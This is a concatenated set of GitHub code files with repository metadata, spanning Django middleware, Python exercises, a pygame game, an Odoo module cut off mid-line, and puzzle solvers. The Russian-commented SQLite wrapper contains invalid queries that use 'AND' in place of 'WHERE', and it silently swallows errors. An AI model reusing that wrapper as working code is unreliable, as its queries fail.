state_with_flag(FlagStatus.GREEN)\n next_state = state_with_flag(FlagStatus.SLOW_ZONE)\n\n msgs = generator().process(prev_state, next_state)\n assert len(msgs) == 1\n assert msgs[0][1] == 'Track'\n assert msgs[0][2] == 'Slow zone(s) in operation'\n\n msgs = generator().process(next_state, prev_state)\n assert len(msgs) == 0\n","repo_name":"timing71/livetiming-core","sub_path":"src/livetiming/__tests__/test_messages.py","file_name":"test_messages.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"34067520446","text":"from __future__ import absolute_import\n\nimport os\nimport base64\nfrom functools import partial\n\nfrom django.conf import settings\nfrom django.utils.functional import SimpleLazyObject\n\ntry:\n from django.utils.six.moves import http_client\nexcept ImportError:\n # django 3.x removed six\n import http.client as http_client\n\ntry:\n from django.utils.deprecation import MiddlewareMixin\nexcept ImportError:\n class MiddlewareMixin(object):\n \"\"\"\n If this middleware doesn't exist, this is an older version of django\n and we don't need it.\n \"\"\"\n pass\n\nfrom csp.utils import build_policy\n\n\nclass CSPMiddleware(MiddlewareMixin):\n \"\"\"\n Implements the Content-Security-Policy response header, which\n conforming user-agents can use to restrict the permitted sources\n of various content.\n\n See http://www.w3.org/TR/CSP/\n\n \"\"\"\n def _make_nonce(self, request):\n # Ensure that any subsequent calls to request.csp_nonce return the\n # same value\n if not getattr(request, '_csp_nonce', None):\n request._csp_nonce = (\n base64\n .b64encode(os.urandom(16))\n .decode(\"ascii\")\n )\n return request._csp_nonce\n\n def process_request(self, request):\n nonce = partial(self._make_nonce, request)\n request.csp_nonce = SimpleLazyObject(nonce)\n\n def process_response(self, request, response):\n if getattr(response, '_csp_exempt', False):\n return response\n\n # Check for ignored path prefix.\n prefixes = getattr(settings, 'CSP_EXCLUDE_URL_PREFIXES', ())\n if request.path_info.startswith(prefixes):\n return response\n\n # Check for debug view\n status_code = response.status_code\n exempted_debug_codes = (\n http_client.INTERNAL_SERVER_ERROR,\n http_client.NOT_FOUND,\n )\n if status_code in exempted_debug_codes and settings.DEBUG:\n return response\n\n header = 'Content-Security-Policy'\n if getattr(settings, 'CSP_REPORT_ONLY', False):\n header += '-Report-Only'\n\n if header in response:\n # Don't overwrite existing headers.\n return response\n\n response[header] = self.build_policy(request, response)\n\n return response\n\n def build_policy(self, request, response):\n config = getattr(response, '_csp_config', None)\n update = getattr(response, '_csp_update', None)\n replace = getattr(response, '_csp_replace', None)\n nonce = getattr(request, '_csp_nonce', None)\n return build_policy(config=config, update=update, replace=replace,\n nonce=nonce)\n","repo_name":"mozilla/django-csp","sub_path":"csp/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","stars":492,"dataset":"github-code","pt":"72"} +{"seq_id":"17528969870","text":"# Написать класс-обертку над SQLite (с возможностями менеджера контекста), которая может на вход принимать строки\n# SQL запросов и возвращать данные в формате json. Класс должен иметь, как минимум, методы select и execute.\n\n# Импортируем библиотеку, соответствующую типу нашей базы данных\nimport sqlite3\nimport os\n\n\n# Создаем класс контекст-менеджера\nclass MyCtxManager:\n def __init__(self, name):\n self.name = name\n\n def __enter__(self): # Выполняется перед кодом, который обернут\n print(\"Hello\")\n self.conn = sqlite3.connect(self.name)\n self.conn.row_factory = sqlite3.Row\n\n def select(self, films_id):\n # Создаем курсор - специальный объект, который делает запросы и получает их результаты\n cur = self.conn.cursor()\n # Делаем SELECT запрос к базе данных, используя обычный SQL-синтаксис\n cur.execute(\"SELECT F.name, F.desc\"\n \" FROM films AS F\"\n \" AND F.id = :films_id\",\n {'films_id': films_id})\n print(\"Информация:\")\n # Получаем результат сделанного запроса\n lst = []\n for row in cur.fetchall():\n print(dict(row))\n lst.append(dict(row))\n return lst\n\n # Писать метод на каждое поле - вроде как негибкое решение, потому что поля могу добавляться и придется код\n # переписывать. Если делать все внутри функции, то мы все равно сталкиваемся с необходимостью динамически\n # формировать сам текст запроса (указывать или не указывать F.name, F.desc). А это открытые ворота для SQL-инъекций.\n # Идеальным решением стало бы использованием ORM. Н�� в текущих условиях (DB-API) можно либо действительно\n # прописывать отдельные методы, либо вообще снять с метода select ответственность за формирование запроса, чтоб\n # она принимала его уже в готовом виде и просто формировала результат:\n # def select(self, request, values):\n # cur = self.conn.cursor()\n # cur.execute(request, values)\n # # Получаем результат сделанного запроса\n # lst = []\n # for row in cur.fetchall():\n # lst.append(dict(row))\n # return lst\n\n def execute(self, films_id, name, desc):\n # Создаем курсор - специальный объект, который делает запросы и получает их результаты\n cur = self.conn.cursor()\n try:\n # Делаем INSERT запрос к базе данных, используя обычный SQL-синтаксис\n cur.execute(\"INSERT INTO films (id, name, desc)\"\n \" AND films.id = :films_id\"\n \" VALUES (:id, :name, :desc)\",\n {'films_id': films_id, 'name': name, 'desc': desc})\n # Если мы не просто читаем, но и вносим изменения в базу данных, необходимо сохранить транзакцию\n self.conn.commit()\n return True\n except:\n return False\n\n def __exit__(self, exc_type, exc_val, exc_tb): # Выполняется после кода, который обернут\n # Код внутри exit выполнится всегда, даже если выбросится исключение перед ним\n # Не забываем закрыть соединение с базой данных после работы\n self.conn.close()\n print(\"Bye\")\n\n\n# Вывод информации о фильме на экран\n# def show_film_info(con, films_id):\n# cur = con.cursor()\n# cur.execute(\"SELECT F.name, F.desc\"\n# \" FROM films AS F\"\n# \" AND F.id = :films_id\",\n# {'films_id': films_id})\n# print(\"Информация:\")\n# for row in cur.fetchall():\n# print(dict(row))\n\n\n# Файл базы данных\ndb_name = r'.\\sqlite-tools\\myfilms.db'\ndb_exists = os.path.exists(db_name)\n\n# Создаем экземпляр менеджера контекста к нашей базе данных\nwith MyCtxManager(db_name) as myctx:\n # РАБОТАЕМ С БАЗОЙ\n myctx.select(1)\n myctx.execute(5, 'Tragedy', 'Very Boring')\n","repo_name":"JackSlater777/PythonLearning","sub_path":"Practice/lec_10_1.py","file_name":"lec_10_1.py","file_ext":"py","file_size_in_byte":5211,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19448155836","text":"print(isinstance(3, int))\n\nlista = ['marina', 2, 'jujuba']\nlista2 = []\n\nfor i in lista:\n if isinstance(i, str):\n lista2.append(i)\n\nprint(lista2)\n\n\nmyList = ['marina', 123, 9.5]\nprint(isinstance(9.5, int))\n\n#strings\nitems = ['marina', 123, 9.5]\nprint(isinstance(9.5, float))\n\nstr_items = ['abc', 'Abc','def', 'BBBB','ghi', 'AAAA']\n\nstr_items.sort(key=str.lower, reverse=True)\nprint(str_items)\n\nnew_items = sorted(str_items)\nprint(new_items)\n\n#numbers\nint_numbers = [123, 13.44, 5436, 324.54, 9034]\n\nint_numbers.sort()\nprint(f'sort.() = {int_numbers}')\n\nint_numbers.sort(reverse=True)\nprint(f'sort.(reverse=True) = {int_numbers}')\n\n#esse sorted ta relacionado a lista n aos numeros\nnew_numbers = sorted(int_numbers, reverse=False)\nprint(f'new numbers = {new_numbers}')\n\ntotal = sum(int_numbers)\nprint(total)\n","repo_name":"marinaoliveira96/python-exercises","sub_path":"Basics II/Lists2.py","file_name":"Lists2.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18207393430","text":"import heapq\nimport math\n\ndef check_value(arr):\n#checks the forward value of stack using the gap heuristic\n\ttemp_val = 0\n\tfor x in range(6)[0:]:\n\t\tif abs(arr[x-1] - arr[x]) > 1:\n\t\t\ttemp_val += 1\n\treturn(temp_val)\n\ndef print_final(string_form, print_check,visited):\n\tsolution = ['123456']\n\twhile (1):\n\t\tif string_form == print_check:\n\t\t\tbreak\n\t\tstring_form = visited[string_form]\n\t\tsolution.append(string_form)\n\tsolution.reverse()\n\tfor x in solution:\n\t\tprint(\"State \" + str(solution.index(x)) + \": ___\" + str(x) + \"____\")\n\ndef get_children(test_arr, test_val,visited):\n#returns an array containing the possible children of a parent\n\tchild_array = []\n\tfor x in range(1,6): \n\t\tend = test_arr[x::]\n\t\tfront = test_arr[:x]\n\t\tfront = front[::-1]\n\t\tfront += end\n\t\tstring_form = ''.join(str(x) for x in front)\n\t\tif visited.has_key(string_form):\n\t\t\tcontinue\n\t\ttemp_val = test_val #previous parent cost\n\t\ttemp_val += check_value(front)#adding forward cost\n\t\tto_push = (temp_val,front)\n\t\tchild_array.append(to_push)\n\treturn(child_array)\n\ndef AStar(pstack):\n# Sets up the problem with initial state, pushes initial state onto frontier,\n# \tand calls looping algorithm while specifying break conditions\n\tfrontier = []\n\tvisited = {}\n\tvalue = 0\n\ttest_val = check_value(pstack)\n\tto_test = (test_val,pstack)\n\theapq.heappush(frontier,to_test)\n\tprint_check = ''.join(str(x) for x in pstack)\n\tfinal = [1,2,3,4,5,6]\n\twhile (1):\n\t\tif not (frontier):\n\t\t\treturn False\n\t\thead = heapq.heappop(frontier)\n\t\ttest_arr = head[1]\n\t\ttest_val = head[0]\n\t\tstring_form = ''.join(str(x) for x in test_arr)\n\t\tif test_arr == final:\n\t\t\tprint(\"Your pancakes have been stacked!\")\n\t\t\tprint_final(string_form, print_check, visited)\n\t\t\tprint(\"It took \" + str(test_val) + \" flips to get to the final solution!\")\n\t\t\treturn\n\t\tchild_array = get_children(test_arr,value,visited)\n\t\tinserted = False\n\t\tfor child in child_array:\n\t\t\tfor x in frontier:\n\t\t\t\tif x == child:\n\t\t\t\t\tif x[0] > child[0]:\n\t\t\t\t\t\tfrontier.remove(x)\n\t\t\t\t\t\theapq.heappush(frontier,child)\n\t\t\t\t\t\tinserted = True\n\t\t\tif not inserted:\n\t\t\t\theapq.heappush(frontier,child)\n\t\t\tstring_child = ''.join(str(x) for x in child[1])\n\t\t\tvisited.update({string_child:string_form})\n\t\tvalue += 1\n\treturn(frontier)\n\ndef main():\n\tprint(\"Welcome to Polly's Pancake Parlor!\")\n\tprint(\"You have 5 pancakes, each of a different length 1-5, which Polly will stack for you in order of size.\")\n\tpstack = input(\"Please input your stack of pancakes in the following format [x,x,x,x,x]: \")\n\tpstack.append(6)\n\ttest_stack = sorted(pstack)\n\twhile test_stack != [1,2,3,4,5,6]:\n\t\tprint(\"Invalid Input, please try again\")\n\t\tprint(\"Input must be a 5 number array with values 1-5\")\n\t\tpstack = input(\"Input your pancake stack here: \")\n\t\tpstack.append(6)\n\t\ttest_stack = sorted(pstack)\n\treturn(AStar(pstack))\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"kpratt02/projects","sub_path":"Artificial Intellegience Fall 2018/pancake.py","file_name":"pancake.py","file_ext":"py","file_size_in_byte":2816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25053209395","text":"import statsmodels.api as sm\nimport pandas as pd\nimport numpy as np\n\n#Functions needed for analyses\n\n#For quick crosstabs in pandas\ndef crosstab(df, outcome, exposure):\n \"\"\"\n For quick crosstabs in pandas\n\n Keyword arguments:\n df -- The dataframe that contains the data\n outcome -- A string of the column name that contains the outcome variable\n exposure -- A string of the column name that contains the exposure variable\n \"\"\"\n return pd.crosstab(df[exposure], df[outcome], margins=True)\n\n#One-line logistic regression\ndef simple_logistic_regression(outcome_series, exposures_df, cis=.05):\n \"\"\"\n Simple function for tidy logistic regression output.]\n\n Keyword arguments:\n outcome_series -- The outcome variable as a series\n exposure_df -- A DataFrame containing all your exposures\n cis -- Define what size you want your CIs to be. Default is .05 which provides 95% CIs\n\n \"\"\"\n\n exposures_df['cons'] = 1.0\n mod = sm.Logit(outcome_series, exposures_df)\n res = mod.fit()\n print(res.summary())\n params = res.params\n conf = res.conf_int(cis)\n p = res.pvalues\n conf['OR'] = params\n ci_name = round((cis/2)*100,2)\n lower = str(ci_name) + '%'\n upper = str(100 - ci_name) + '%'\n conf.columns = [lower, upper, 'OR']\n conf = np.exp(conf)\n conf['p_value'] = p\n conf = conf[['OR', lower, upper, 'p_value']]\n conf = conf.round({'OR':2, 'p_value':5, lower:2, upper:2})\n return conf\n\n#To quickly create rankings\n#marker should be set to whatever represents the undesirable result in your binary variable\ndef create_ranking(df, field, marker=1):\n \"\"\"\n Quick way to make sponsor rankings from the data.\n\n Keyword arguments:\n df -- The DataFrame containing your data\n field -- A string of the column name in the df that contains the data of interest\n marker -- The function will count whatever this is set to. Default is 1 assuming a binary variable\n \"\"\"\n return (df[df[field] == marker][['sponsor', field]].groupby(by='sponsor', as_index=False).count().sort_values(\n field, ascending=False))\n\n\n\ndef get_count(df, field):\n \"\"\"\n Quick way to get count of values in a specific column\n\n Keyword arguments:\n df -- The DataFrame containing your data\n field -- A string of the column name in the df that contains the data of interest\n \"\"\"\n return df[['nct_id', field]].groupby(field).count()\n\ndef get_prcts(cross):\n \"\"\"\n Easily getting descriptive data for variables of interest.\n \"\"\"\n \n cats = {}\n cats['total'] = cross.loc['All']['All']\n cats['total_var'] = cross.loc[1]['All']\n cats['prct_total'] = round((cross.loc[1]['All'] / cross.loc['All']['All']) * 100, 1)\n cats['n_comp'] = cross.loc[1][1]\n cats['prct_comp'] = round((cross.loc[1][1]/cross.loc[1]['All'])*100, 1)\n return cats","repo_name":"ebmdatalab/fdaaa_requirements","sub_path":"lib/analysis_functions.py","file_name":"analysis_functions.py","file_ext":"py","file_size_in_byte":2840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7795939238","text":"import pygame\r\nimport worm\r\nimport math\r\nimport textures\r\nfrom pygame.math import Vector2 as vect\r\nfrom settings import *\r\nfrom os import path\r\n\r\n\r\nclass Wand(pygame.sprite.Sprite):\r\n def __init__ (self, game, player):\r\n self.game = game\r\n self.group = game.bullets\r\n pygame.sprite.Sprite.__init__(self, self.group)\r\n self.player = player\r\n self.image = textures.get_image(\"textures/weapons/bullet_\" + self.player.character + \".png\")\r\n self.pos = vect(self.player.rect.center) + vect(-30, -15)\r\n self.rect = pygame.rect.Rect(self.pos, (1, 1))\r\n self.vel = vect(self.player.facing, 0) * BULLET_SPEED\r\n self.spawn_time = pygame.time.get_ticks()\r\n\r\n def update(self, game):\r\n self.pos += self.vel\r\n self.rect.center = self.pos\r\n if pygame.time.get_ticks() - self.spawn_time > BULLET_LIFETIME:\r\n self.kill()\r\n if pygame.sprite.spritecollideany(self, self.game.map.platforms):\r\n self.kill()\r\n\r\nclass Grenade(pygame.sprite.Sprite):\r\n def __init__ (self, game, player):\r\n self.game = game\r\n self.group = game.grenades\r\n pygame.sprite.Sprite.__init__(self, self.group)\r\n self.player = player\r\n self.image = textures.get_image(\"textures/weapons/tome_\" + self.player.character + \".png\")\r\n self.pos = vect(self.player.rect.center) + vect(-30, -15)\r\n self.rect = pygame.rect.Rect(self.pos, (1, 1))\r\n dir = pygame.mouse.get_pos()\r\n rel_x, rel_y = dir[0] - (self.pos.x + game.camera.x), dir[1] - (self.pos.y + game.camera.y)\r\n rel_n = math.sqrt(rel_x * rel_x + rel_y * rel_y)\r\n self.vel = vect(rel_x/rel_n, rel_y/rel_n) * GRENADE_SPEED\r\n self.last_update = 0\r\n\r\n self.explosion = {}\r\n for i in range(1, 25):\r\n e = \"0\" + str(i)\r\n e = e[-2:] + \".png\"\r\n self.explosion[i] = pygame.transform.scale(textures.get_image(path.join(\"textures/weapons/explode\", e)), (60, 60))\r\n self.current_frame = 0\r\n self.last_update = 0\r\n self.health_bar = pygame.rect.Rect(self.rect.midtop + vect(-30, -10), vect(self.rect.width, 5))\r\n\r\n\r\n\r\n def update(self, game):\r\n self.acc = vect(0, PLAYER_GRAVITY/2)\r\n\r\n self.acc.x += self.vel.x * PLAYER_FRICTION/10\r\n self.vel += self.acc\r\n self.pos += self.vel + 0.5 * self.acc\r\n\r\n self.pos += self.vel\r\n self.rect.center = self.pos\r\n\r\n hit_bottom = pygame.sprite.spritecollide(self, self.game.map.bottomplatformsprite, False)\r\n if hit_bottom:\r\n self.vel = vect(0,0)\r\n self.pos.y = hit_bottom[0].rect.top\r\n self.explode()\r\n\r\n if self.pos.y > HEIGHT:\r\n self.kill()\r\n\r\n def explode(self):\r\n\r\n now = pygame.time.get_ticks()\r\n if now - self.last_update > 25:\r\n self.last_update = now\r\n self.current_frame = (self.current_frame + 1) % len(self.explosion)\r\n self.image = self.explosion[self.current_frame]\r\n if self.current_frame == 23:\r\n self.kill()\r\n\r\n","repo_name":"kobylkam/Wizards","sub_path":"weapons.py","file_name":"weapons.py","file_ext":"py","file_size_in_byte":3104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2930116597","text":"from django.contrib.auth.models import Group\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\nfrom django.contrib.auth import get_user_model\nfrom .models import UserAnalytics, ProfileChangeLog, CustomUser, UserProfile\n\nUser = get_user_model()\n\n\n@receiver(post_save, sender=CustomUser)\ndef assign_to_group(sender, instance, created, **kwargs):\n if created:\n if instance.is_staff:\n group, created = Group.objects.get_or_create(name='staff')\n instance.groups.add(group)\n\n\n\n@receiver(post_save, sender=CustomUser)\ndef user_created(sender, instance, created, **kwargs):\n if created:\n # Implement actions you want to perform when a new user is created\n group, create = Group.objects.get_or_create(name='client')\n instance.groups.add(group)\n UserProfile.objects.create(\n user=instance,\n )\n print('Profile Created')\n@receiver(post_save, sender=CustomUser)\ndef user_profile_updated(sender, instance, created, **kwargs):\n # Implement actions you want to perform when a user's profile is updated\n if created == False:\n try:\n instance.userprofile.save()\n print('Profile updated! ')\n except:\n UserProfile.objects.create(user=instance)\n print('Profile create for existing user!')\n\n\n@receiver(post_save, sender=UserAnalytics)\ndef user_created(sender, instance, created, **kwargs):\n if created:\n # Create a UserAnalytics record for the new user\n UserAnalytics.objects.create(user=instance)\n\n\n# @receiver(post_save, sender=User)\n# def profile_change_logged(sender, instance, **kwargs):\n# for field_name in instance.profile_changed_fields():\n# old_value = getattr(instance._original, field_name, None)\n# new_value = getattr(instance, field_name, None)\n# if old_value != new_value:\n# ProfileChangeLog.objects.create(\n# user=instance,\n# field_name=field_name,\n# old_value=old_value,\n# new_value=new_value,\n# )\n","repo_name":"Alukwe/dummy-guide-website","sub_path":"users/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13920402204","text":"from django.conf import settings\nfrom django.db import models\n\n\nclass Order(models.Model):\n name = models.TextField(unique=False)\n user = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n on_delete=models.CASCADE,\n null=False,\n blank=False,\n related_name=\"orders\",\n )\n\n def __str__(self):\n return self.name\n\n\nclass OrderDetail(models.Model):\n product = models.ForeignKey(\n \"Product\",\n on_delete=models.CASCADE,\n null=False,\n blank=False,\n related_name=\"order_details\",\n )\n\n order = models.ForeignKey(\n \"Order\",\n on_delete=models.CASCADE,\n null=False,\n blank=False,\n related_name=\"order_details\",\n )\n \n quantity = models.BigIntegerField(default=1)\n","repo_name":"siezyj/restapi","sub_path":"shop/apps/products/models/order.py","file_name":"order.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2699796285","text":"import collections\nimport copy\nimport re\nimport time\n\nCost = collections.namedtuple('Cost', ['ore', 'clay', 'obsidian'],\n defaults=[0, 0, 0])\n\nBlueprint = collections.namedtuple('Blueprint',\n ['id_number',\n 'costs',\n 'max_expenditure'])\n\ndef parse_blueprints(filename):\n with open(filename) as f:\n bps = list()\n lines = f.read().splitlines()\n for line in lines:\n xs = list(map(int, re.findall(r'\\d+', line)))\n costs = {\n \"ore\": Cost(ore=xs[1]),\n \"clay\": Cost(ore=xs[2]),\n \"obsidian\": Cost(ore=xs[3],clay=xs[4]),\n \"geode\": Cost(ore=xs[5],obsidian=xs[6])\n }\n max_expenditure = {\n \"ore\": max((c.ore for c in costs.values())),\n \"clay\": max((c.clay for c in costs.values())),\n \"obsidian\": costs[\"geode\"].obsidian\n }\n bp = Blueprint(id_number=xs[0], costs=costs,\n max_expenditure=max_expenditure)\n bps.append(bp)\n return bps\n\nMove = collections.namedtuple('Move', ['bot_type', 'cost', 'duration', 'reward'])\n\ndef ceildiv(a, b): # upside-down floor division is ceiling division\n return -(a // -b)\n\nclass State:\n def __init__(self, blueprint, time_remaining):\n self.blueprint = blueprint\n self.time_remaining = time_remaining\n # we start with no resources and one ore-collecting robot\n self.resources = { \"clay\": 0, \"ore\": 0, \"obsidian\": 0 }\n self.bots = { \"clay\": 0, \"ore\": 1, \"obsidian\": 0, \"geode\": 0 }\n self.geodes = 0\n\n def upper_bound(self):\n # a generous upper bound on geodes\n # imagine that we are somehow able to build a geode bot every remaining minute\n return self.geodes + sum(range(self.time_remaining))\n\n def to_move(self, bot_type):\n cost = self.blueprint.costs[bot_type]._asdict()\n # do we already have enough of this bot type?\n if bot_type != \"geode\":\n if self.blueprint.max_expenditure[bot_type] <= self.bots[bot_type]:\n return None\n # wait until we have enough resources to start building\n # resources are consumed when construction begins\n waiting_time = 0\n for r in cost:\n diff = cost[r] - self.resources[r]\n if not diff: continue\n if not self.bots[r]: return None\n waiting_time = max(waiting_time, ceildiv(diff, self.bots[r]))\n # it takes one minute to build a robot\n duration = waiting_time + 1\n if duration >= self.time_remaining:\n return None\n # how many geodes will this bot crack?\n reward = self.time_remaining - duration if bot_type == \"geode\" else 0\n return Move(bot_type, cost, duration, reward)\n\n def moves(self): # generate valid moves\n for bot_type in self.bots:\n move = self.to_move(bot_type)\n if move is not None:\n yield move\n\n def apply(self, move):\n next_state = copy.deepcopy(self)\n next_state.time_remaining -= move.duration\n for r in next_state.resources:\n next_state.resources[r] += next_state.bots[r] * move.duration\n next_state.resources[r] -= move.cost[r]\n next_state.bots[move.bot_type] += 1\n next_state.geodes += move.reward\n return next_state\n\ndef visit(state, depth=0):\n best = state.geodes\n for move in state.moves():\n next_state = state.apply(move)\n if next_state.upper_bound() <= best:\n continue\n best = max(best, visit(next_state, depth=depth+1))\n return best\n\ndef try_blueprint(bp, time_limit=24):\n '''\n find the largest number of geodes that can be opened\n within the timelimit, using the given blueprint\n '''\n state = State(bp, time_limit)\n _start = time.time()\n result = visit(state)\n _end = time.time()\n print(f\"time for Blueprint {bp.id_number}: {_end - _start}\")\n return result\n\nblueprints = parse_blueprints(\"input.txt\")\n\nmax_geodes = list(map(try_blueprint, blueprints))\nid_numbers = list(map(lambda bp: bp.id_number, blueprints))\nquality_levels = [i * g for i, g in zip(max_geodes, id_numbers)]\nprint(\"Part 1:\", sum(quality_levels))\nprint(\"- max geodes:\", max_geodes)\nprint(\"- quality levels:\", quality_levels)\n\nmax_geodes = list(map(lambda bp: try_blueprint(bp, time_limit=32), blueprints[:3]))\nprint(\"Part 2:\", max_geodes[0] * max_geodes[1] * max_geodes[2])\nprint(\"- max geodes:\", max_geodes)\n","repo_name":"joyalicegu/advent","sub_path":"2022/19/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":4698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4944969817","text":"# Tipos primitivos\n#int 4\n#float 4.5\n#bool True or False CAPITALIZE first word\n#str 'string'\n\nnumero1 = int(input('Digite o primeiro número: '))\nnumero2 = int(input('Digite o segundo número: '))\nsumNumeros = numero1 + numero2\n\n# print('A soma é:', numero1 + numero2)\n# print('A soma entre' , numero1 , 'e' , numero2 , 'é:' , '{}'.format(sumNumeros))\n# print('A soma entre {0} e {1} vale {2}'.format(numero1, numero2, sumNumeros))\nprint('A soma entre {} e {} vale {}'.format(numero1, numero2, sumNumeros))\n","repo_name":"geneilson1980/PythonCourse","sub_path":"PythonDesafios/Desafio_003.py","file_name":"Desafio_003.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41711518601","text":"from openerp.osv import fields, osv\nimport time\nfrom dateutil.relativedelta import relativedelta\nimport openerp\nfrom datetime import datetime,date\nfrom openerp.tools.translate import _\nfrom openerp.tools import DEFAULT_SERVER_DATE_FORMAT, DEFAULT_SERVER_DATETIME_FORMAT, image_colorize, image_resize_image_big\nfrom openerp import netsvc\nfrom openerp.addons.base.ir.ir_mail_server import MailDeliveryException\nfrom openerp import tools, api\nimport locale\nfrom openerp.addons.vit_universities_spc_bni import bni\n\n\nSESSION_STATES = [('calon','Calon'),('Mahasiswa','Mahasiswa'),('alumni','Alumni'),('orang_tua','Orang Tua'),('cuti','Cuti Kuliah')]\n\nclass res_partner (osv.osv):\n\t_name = 'res.partner'\n\t_inherit= 'res.partner'\n\t\n\t#def create(self, cr, uid, vals, context=None):\n\t\t#jurusan = self.pool.get('master.jurusan').browse(cr, uid, vals['jurusan_id'], context)[0]\n\t\t#nim = self.pool.get('ir.sequence').get(cr, uid, 'res.partner')\n\t\t#vals['npm'] = jurusan.fakultas_id.kode + jurusan.kode + nim \n\t\t#return super(partner, self).create(cr, uid, vals, context=None)\n\n\tdef name_get(self, cr, uid, ids, context=None):\n\t\t###import pdb;pdb.set_trace()\n\t\tif not ids:\n\t\t\treturn []\n\t\tif isinstance(ids, (int, long)):\n\t\t\t\t\tids = [ids]\n\t\treads = self.read(cr, uid, ids, ['name', 'npm','reg','is_mahasiswa'], context=context)\n\t\tres = []\n\t\tfor record in reads:\n\t\t\tname = record['name']\n\t\t\tif record['is_mahasiswa'] :\n\t\t\t\tif record['npm'] != '/':\n\t\t\t\t\tname = '['+record['npm'] +']'+ ' ' + name\n\t\t\t\telif record ['npm'] == '/' :\n\t\t\t\t\tname = '['+record['reg'] +']'+ ' ' + name\n\t\t\t\tres.append((record['id'], name))\n\t\t\telse:\n\t\t\t\tres.append((record['id'], name))\n\t\treturn res\n\n\tdef create(self, cr, uid, vals, context=None):\n\t\t#import pdb;pdb.set_trace()\n\t\tif 'status_mahasiswa' in vals :\n\t\t\tif 'is_import' not in vals:\n\t\t\t\tif vals['status_mahasiswa'] == 'calon':\n\t\t\t\t\tif vals.get('reg','/')=='/':\n\t\t\t\t\t\tvals['reg'] = self.pool.get('ir.sequence').get(cr, uid, 'res.partner') or '/'\n\t\t\t\t\tpartner = super(res_partner, self).create(cr, uid, vals, context=context)\n\t\t\t\t\tbyr_obj = self.pool.get('master.pembayaran.pendaftaran')\n\t\t\t\t\tbyr_sch = byr_obj.search(cr,uid,[('tahun_ajaran_id','=',vals['tahun_ajaran_id']),\n\t\t\t\t\t\t('fakultas_id','=',vals['fakultas_id']),\n\t\t\t\t\t\t('prodi_id','=',vals['prodi_id']),\n\t\t\t\t\t\t('state','=','confirm'),\n\t\t\t\t\t\t])\t\t\n\t\t\t\t\tif byr_sch != []:\n\t\t\t\t\t\tinv_obj = self.pool.get('account.invoice')\n\t\t\t\t\t\torigin = str(self.pool.get('res.partner').browse(cr,uid,partner).reg)\n\t\t\t\t\t\tinv_exist = inv_obj.search(cr,uid,[('origin','=',origin)])\n\t\t\t\t\t\tif not inv_exist :\n\t\t\t\t\t\t\tbyr_brw = byr_obj.browse(cr,uid,byr_sch[0],context=context)\n\t\t\t\t\t\t\tlist_pembayaran = byr_brw.detail_product_ids\n\t\t\t\t\t\t\tprod_id = []\n\t\t\t\t\t\t\tfor bayar in list_pembayaran:\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tproduct = self.pool.get('product.product').browse(cr,uid,bayar.product_id.id)\n\t\t\t\t\t\t\t\tcoa_line = product.property_account_income.id\n\t\t\t\t\t\t\t\tif not coa_line:\n\t\t\t\t\t\t\t\t\tcoa_line = product.categ_id.property_account_income_categ.id\n\t\t\t\t\t\t\t\tprod_id.append((0,0,{'product_id'\t: bayar.product_id.id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'name'\t\t\t: bayar.product_id.name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'price_unit'\t: bayar.public_price,\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'account_id'\t: coa_line}))\n\t\t\t\t\t\t\tinv = inv_obj.create(cr,uid,{\n\t\t\t\t\t\t\t\t'partner_id':partner,\n\t\t\t\t\t\t\t\t'origin': 'Pendaftaran '+origin,\n\t\t\t\t\t\t\t\t'type':'out_invoice',\n\t\t\t\t\t\t\t\t'fakultas_id': vals['fakultas_id'],\n\t\t\t\t\t\t\t\t'prod_id': vals['prodi_id'],\n\t\t\t\t\t\t\t\t'account_id':self.pool.get('res.partner').browse(cr,uid,partner).property_account_receivable.id,\n\t\t\t\t\t\t\t\t'invoice_line': prod_id,\n\t\t\t\t\t\t\t\t},context=context)\n\t\t\t\t\t\t\t#wf_service = netsvc.LocalService('workflow')\n\t\t\t\t\t\t\tfrom openerp import workflow\n\t\t\t\t\t\t\tworkflow.trg_validate(uid, 'account.invoice', inv, 'invoice_open', cr)\t\t\t\t\t\t\n\t\t\t\t\t\t\tself.write(cr,uid,partner,{'invoice_id':inv})\n\n\n\t\t\telif vals['status_mahasiswa'] == 'Mahasiswa':\n\t\t\t\tif 'is_import' not in vals:\n\t\t\t\t\tif vals.get('npm','/')=='/':\n\t\t\t\t\t\tta = vals['tahun_ajaran_id']\n\t\t\t\t\t\tt_idd = self.pool.get('academic.year').browse(cr,uid,ta,context=context).date_start\t\t\t\t\n\t\t\t\t\t\tta_tuple = tuple(t_idd)\n\t\t\t\t\t\tta_id = ta_tuple[2]+ta_tuple[3]#ambil 2 digit paling belakang dari tahun saja\t\t\n\n\t\t\t\t\t\tfak = vals['fakultas_id']\n\t\t\t\t\t\tfak_id = 